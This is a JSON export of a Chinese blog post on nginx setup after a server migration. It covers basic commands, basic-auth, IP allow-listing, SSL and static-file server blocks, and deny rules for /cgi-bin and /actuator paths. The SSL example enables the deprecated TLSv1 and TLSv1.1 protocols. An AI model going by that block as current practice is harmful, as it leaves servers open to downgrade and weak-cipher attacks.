494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"69c82a43-8096-4b7b-9f0c-18fb28429f7d":{"value":{"id":"69c82a43-8096-4b7b-9f0c-18fb28429f7d","type":"text","format":{"copied_from_pointer":{"id":"f9121aa2-51c9-487a-83de-4601d5048f24","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975027356,"last_edited_time":1713975027356,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true,"copied_from":"f9121aa2-51c9-487a-83de-4601d5048f24"}},"18a8b13d-784c-495b-9c2d-cd6f1aa5df7f":{"value":{"id":"18a8b13d-784c-495b-9c2d-cd6f1aa5df7f","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975027356,"last_edited_time":1713975027356,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"c4f8e5e5-8245-4c39-8e8e-2934583171eb":{"value":{"id":"c4f8e5e5-8245-4c39-8e8e-2934583171eb","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975027356,"last_edited_time":1713975027356,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"d983261d-b143-4f75-b3bf-ab1bd9d27c51":{"value":{"id":"d983261d-b143-4f75-b3bf-ab1bd9d27c51","type":"callout","properties":{"title":[["最近服务器进行了迁移,nginx最为流量入口,配置一定得慎重"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975027355,"last_edited_time":1713975144879,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"b47c029d-d64c-482f-b8fb-b5bc214374b9":{"value":{"id":"b47c029d-d64c-482f-b8fb-b5bc214374b9","type":"header","properties":{"title":[["基础"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975027356,"last_edited_time":1713975195668,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"12704b4f-3bd6-4976-ab86-1cfe62ddde10":{"value":{"id":"12704b4f-3bd6-4976-ab86-1cfe62ddde10","type":"code","properties":{"title":[["#nginx一般安装目录\ncd /etc/nginx\n\n#nginx配置文件\ncat /etc/nginx/nginx.conf\ncat /etc/nginx/conf.d/*.conf\n\n#nginx日志\ntail -f /var/log/nginx/access.log\ntail -f /var/log/nginx/error.log\n\n#验证conf文件\nnginx -t\n\n#查看当前生效conf文件+验证\nnginx -T\n\n#更改后生效nginx文件\nnginx -s reload\n\n#生成basic密码\necho -n 'admin:' >> /etc/nginx/access_pwd\nopenssl passwd -apr1 >> /etc/nginx/access_pwd\n#输入两次密码.."]],"language":[["Bash"]]},"created_time":1713975158785,"last_edited_time":1713976014678,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"b6b0249f-22af-42f0-8b77-330fb4477006":{"value":{"id":"b6b0249f-22af-42f0-8b77-330fb4477006","type":"header","properties":{"title":[["配置文件"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975027356,"last_edited_time":1713975495277,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true,"copied_from":"bc90f652-c084-4885-8571-e07c2b2a5073"}},"9f3468f0-4f68-4d16-acac-86ad466639f0":{"value":{"id":"9f3468f0-4f68-4d16-acac-86ad466639f0","type":"quote","properties":{"title":[["不同用途的配置文件分开存放,有利于阅读和管理"]]},"created_time":1713975715654,"last_edited_time":1713975754434,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"785f1327-67cf-478d-917f-8a8250c87b03":{"value":{"id":"785f1327-67cf-478d-917f-8a8250c87b03","type":"sub_header","properties":{"title":[["主配置"]]},"created_time":1713975495504,"last_edited_time":1713976112876,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"44748ac9-360a-4981-9726-99eaaeee8b02":{"value":{"id":"44748ac9-360a-4981-9726-99eaaeee8b02","type":"code","properties":{"title":[["\nuser nginx;\nworker_processes auto;\npid /run/nginx.pid;\n\nevents {\n worker_connections 1024;\n}\n\nhttp {\n\n\t\t#日志格式\n log_format main '$remote_addr - $remote_user [$time_local] \"$request\" '\n '$status $body_bytes_sent \"$http_referer\" '\n '\"$http_user_agent\" \"$http_x_forwarded_for\"';\n\t #日志文件\n\t\terror_log /var/log/nginx/error.log main;\n\t\taccess_log /var/log/nginx/access.log main;\n\t\t\n sendfile on;\n tcp_nopush on;\n keepalive_timeout 65;\n types_hash_max_size 4096;\n include /etc/nginx/mime.types;\n default_type application/octet-stream;\n\n #conf文件分层\n include /etc/nginx/conf.d/*.conf;\n\n #禁止通过ip直接访问80端口\n server {\n listen 80 default_server;\n server_name _;\n return 444;\n }\n\n}"]],"language":[["Bash"]]},"created_time":1713975503491,"last_edited_time":1713976022992,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"b7158b33-15f3-4389-a4e1-51438a2c0c32":{"value":{"id":"b7158b33-15f3-4389-a4e1-51438a2c0c32","type":"sub_header","properties":{"title":[["密码访问配置"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975688327,"last_edited_time":1713976110267,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"72a02e8c-9fac-417f-888a-8b58f352414b":{"value":{"id":"72a02e8c-9fac-417f-888a-8b58f352414b","type":"code","properties":{"title":[["server {\n listen 80;\n server_name password.com;\n\n location / {\n #basic密码访问\n auth_basic \"Restricted Access\";\n auth_basic_user_file /etc/nginx/access_pwd;\n proxy_pass http://192.168.12.34:1234/;\n proxy_set_header Host $host:$server_port;\n }\n\n}"]],"language":[["Bash"]]},"created_time":1713975832394,"last_edited_time":1713976048735,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"d6c8a6bb-4b20-488e-8646-294b5c9cd402":{"value":{"id":"d6c8a6bb-4b20-488e-8646-294b5c9cd402","type":"sub_header","properties":{"title":[["限制ip访问配置"]]},"created_time":1713975780249,"last_edited_time":1713976117040,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"c9ffdc1f-fb25-40a5-a13b-6922efce4edf":{"value":{"id":"c9ffdc1f-fb25-40a5-a13b-6922efce4edf","type":"code","properties":{"title":[["server {\n listen 80;\n server_name ip.com;\n location / {\n\t\t #只允许特定ip段访问\n allow 192.168.12.34/24;\n deny all;\n proxy_pass http://192.168.12.34:9876/;\n proxy_set_header Host $host:$server_port;\n }\n}"]],"language":[["Bash"]]},"created_time":1713976119020,"last_edited_time":1713976173977,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"69fd9ecf-853a-479f-9586-4ae16b3cf57a":{"value":{"id":"69fd9ecf-853a-479f-9586-4ae16b3cf57a","type":"sub_header","properties":{"title":[["SSL访问配置"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713976198447,"last_edited_time":1713976210743,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"5f20b55d-12f8-4bb3-807b-093a5f0581f1":{"value":{"id":"5f20b55d-12f8-4bb3-807b-093a5f0581f1","type":"code","properties":{"title":[["server {\n listen 443;\n server_name ssl.cn;\n\n ssl_certificate /etc/nginx/cert/_.x.pem;\n ssl_certificate_key /etc/nginx/cert/_.x.key;\n\n ssl_session_cache shared:SSL:1m;\n ssl_session_timeout 5m;\n\n ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;\n ssl_protocols TLSv1 TLSv1.1 TLSv1.2;\n\n ssl_prefer_server_ciphers on;\n\n location / {\n proxy_pass http://192.168.0.1:7654/;\n proxy_set_header Host $host:$server_port;\n }\n}"]],"language":[["Bash"]]},"created_time":1713976215138,"last_edited_time":1713976276506,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"e928ae9b-250c-413c-abf8-46cc01f3dbae":{"value":{"id":"e928ae9b-250c-413c-abf8-46cc01f3dbae","type":"sub_header","properties":{"title":[["静态资源访问配置"]]},"created_time":1713976211095,"last_edited_time":1713976292397,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"ba633245-6292-437e-943e-81c23544eb57":{"value":{"id":"ba633245-6292-437e-943e-81c23544eb57","type":"code","properties":{"title":[["server {\n listen 80;\n server_name xxx.cn;\n location / {\n root /home/www/xxx;\n }\n}"]],"language":[["Bash"]]},"created_time":1713976410277,"last_edited_time":1713976485970,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"c3130d93-a6a6-44f4-b1c3-17df56268d31":{"value":{"id":"c3130d93-a6a6-44f4-b1c3-17df56268d31","type":"sub_header","properties":{"title":[["其他配置"]]},"created_time":1713976343285,"last_edited_time":1713976352778,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"891d22dd-1920-49a8-8d55-5f35ec62d60a":{"value":{"id":"891d22dd-1920-49a8-8d55-5f35ec62d60a","type":"code","properties":{"title":[["server {\n listen 80;\n server_name xxx.cn;\n\n #域名禁止访问(openWrt攻击)\n location /cgi-bin {\n deny all;\n }\n\n #域名禁止访问(springboot相关)\n location /actuator {\n deny all;\n }\n\n location / {\n\t\t\t #真实ip获取\n proxy_set_header X-Real-IP $remote_addr;\n proxy_pass http://xxxx;\n proxy_set_header Host $host:$server_port;\n }\n\n\n}\n"]],"language":[["Bash"]]},"created_time":1713976355755,"last_edited_time":1713976404440,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"485b0fbf-3d8e-47e5-a874-6edf5cce4841":{"value":{"id":"485b0fbf-3d8e-47e5-a874-6edf5cce4841","type":"text","created_time":1713976283308,"last_edited_time":1713976283308,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"af881b8c-9634-454b-aa57-755642ab95ce":{"value":{"id":"af881b8c-9634-454b-aa57-755642ab95ce","type":"header","properties":{"title":[["总结"]]},"created_time":1713976283399,"last_edited_time":1713976505243,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"b8569c04-59d1-4fd2-8d31-351c6557874b":{"value":{"id":"b8569c04-59d1-4fd2-8d31-351c6557874b","type":"bulleted_list","properties":{"title":[["nginx配置文件分开存放"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975027356,"last_edited_time":1713976528113,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"69fd4a8d-3006-4e8e-be2f-5dd0d84a6fd2":{"value":{"id":"69fd4a8d-3006-4e8e-be2f-5dd0d84a6fd2","type":"bulleted_list","properties":{"title":[["80和443配置,静态文件配置"]]},"created_time":1713976528335,"last_edited_time":1713976555552,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"a7836f50-27b4-4664-a9ed-dc610453b6d4":{"value":{"id":"a7836f50-27b4-4664-a9ed-dc610453b6d4","type":"bulleted_list","properties":{"title":[["basic密码访问"]]},"created_time":1713976538865,"last_edited_time":1713976561923,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"c4c69881-c3f8-49be-976d-904e98ce3255":{"value":{"id":"c4c69881-c3f8-49be-976d-904e98ce3255","type":"bulleted_list","properties":{"title":[["安全隔离,ip防护,禁止访问特定路径"]]},"created_time":1713976562173,"last_edited_time":1713976589675,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"92d08355-3283-4e30-8acd-bc7970342ae2":{"value":{"id":"92d08355-3283-4e30-8acd-bc7970342ae2","type":"bulleted_list","properties":{"title":[["REALIP获取等"]]},"created_time":1713976590594,"last_edited_time":1713976612384,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true}},"6499ff32-ebf5-43dc-86e7-b054fc3359dd":{"value":{"id":"6499ff32-ebf5-43dc-86e7-b054fc3359dd","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975027356,"last_edited_time":1713975027356,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"3869dacf-af1a-4b59-9b64-054fc3ff3f8a":{"value":{"id":"3869dacf-af1a-4b59-9b64-054fc3ff3f8a","type":"column_list","content":["acaa3e81-d814-4331-a485-e7a1661a2514","c59dd81c-81c5-4132-a254-85d0fdabf2ff","0f4851b2-803b-4be2-a73c-5eb80cab2d87"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975027356,"last_edited_time":1713975027356,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"4221b8ae-c7f9-4816-aec0-050c8e163bb1":{"value":{"id":"4221b8ae-c7f9-4816-aec0-050c8e163bb1","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975027356,"last_edited_time":1713975027356,"parent_id":"71879fde-4992-4276-9767-ac5bd71e4058","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"acaa3e81-d814-4331-a485-e7a1661a2514":{"value":{"id":"acaa3e81-d814-4331-a485-e7a1661a2514","type":"column","content":["01a7e8d6-9189-41e3-825d-733b29b11dec"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975027357,"last_edited_time":1713975027357,"parent_id":"3869dacf-af1a-4b59-9b64-054fc3ff3f8a","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"c59dd81c-81c5-4132-a254-85d0fdabf2ff":{"value":{"id":"c59dd81c-81c5-4132-a254-85d0fdabf2ff","type":"column","content":["dc59aeeb-5276-4485-ad2a-d2e1c4fa09c2","207b12e5-057f-4dbe-a31d-fe9f6e4dc5ae"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975027357,"last_edited_time":1713975027357,"parent_id":"3869dacf-af1a-4b59-9b64-054fc3ff3f8a","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"0f4851b2-803b-4be2-a73c-5eb80cab2d87":{"value":{"id":"0f4851b2-803b-4be2-a73c-5eb80cab2d87","type":"column","content":["2413f7ef-69aa-44d6-a9cb-1e08ffdbc42f"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975027357,"last_edited_time":1713975027357,"parent_id":"3869dacf-af1a-4b59-9b64-054fc3ff3f8a","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"01a7e8d6-9189-41e3-825d-733b29b11dec":{"value":{"id":"01a7e8d6-9189-41e3-825d-733b29b11dec","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1713975027357,"last_edited_time":1713975027357,"parent_id":"acaa3e81-d814-4331-a485-e7a1661a2514","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"dc59aeeb-5276-4485-ad2a-d2e1c4fa09c2":{"value":{"id":"dc59aeeb-5276-4485-ad2a-d2e1c4fa09c2","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["i"],["b"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975027357,"last_edited_time":1713975027357,"parent_id":"c59dd81c-81c5-4132-a254-85d0fdabf2ff","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"207b12e5-057f-4dbe-a31d-fe9f6e4dc5ae":{"value":{"id":"207b12e5-057f-4dbe-a31d-fe9f6e4dc5ae","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713975027357,"last_edited_time":1713975027357,"parent_id":"c59dd81c-81c5-4132-a254-85d0fdabf2ff","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"2413f7ef-69aa-44d6-a9cb-1e08ffdbc42f":{"value":{"id":"2413f7ef-69aa-44d6-a9cb-1e08ffdbc42f","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1713975027357,"last_edited_time":1713975027357,"parent_id":"0f4851b2-803b-4be2-a73c-5eb80cab2d87","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-